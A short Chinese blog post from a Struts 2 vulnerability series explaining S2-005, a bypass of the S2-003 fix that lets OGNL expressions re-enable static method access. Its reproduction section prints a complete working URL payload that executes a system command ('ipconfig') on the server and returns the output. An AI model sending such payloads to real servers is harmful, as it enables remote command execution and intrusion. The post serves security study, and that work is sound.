Struts 2 漏洞专题 | S2-005

漏洞简介

OGNL除其他功能外,还提供了广泛的表达式评估功能.该漏洞使恶意用户可以绕过ParametersInterceptor内置的'#'使用保护,从而能够操纵服务器端上下文对象。S2-003中已经解决了此问题,但事实证明,基于将可接受的参数名称列入白名单而产生的修复程序仅部分缓解了该漏洞。 至少仍可以访问以下上下文对象:

#context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor.denyMethodExecution' property value.
#_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution.
#root
#this
#_typeResolver
#_classResolver
#_traceEvaluations
#_lastEvaluation
#_keepLastEvaluation

通俗的说:

S2-003之后官方偷偷修改安全配置,默认让SecurityMemberAccess(管理ognl权限的类)的allowStaticMethodAccess为false

s2-005漏洞的起源于S2-003,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上。

影响版本

Struts 2.0.0 - Struts 2.1.8.1

漏洞复现

环境准备

Windows 7 64bit(内含XAMPP)

Struts2.1.6

POC

URL后接:
?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

结果截图

说明:本专题只为学术交流,请所有读者切勿利用以上资源用于非法犯罪活动,有任何问题欢迎联系我的邮箱1294553086@qq.com。

部分文字性说明来源于网上资源,若有侵权请发邮件到1294553086@qq.com。

posted @ 2020-09-08 10:25  WindStream  阅读(613)  评论(0编辑  收藏  举报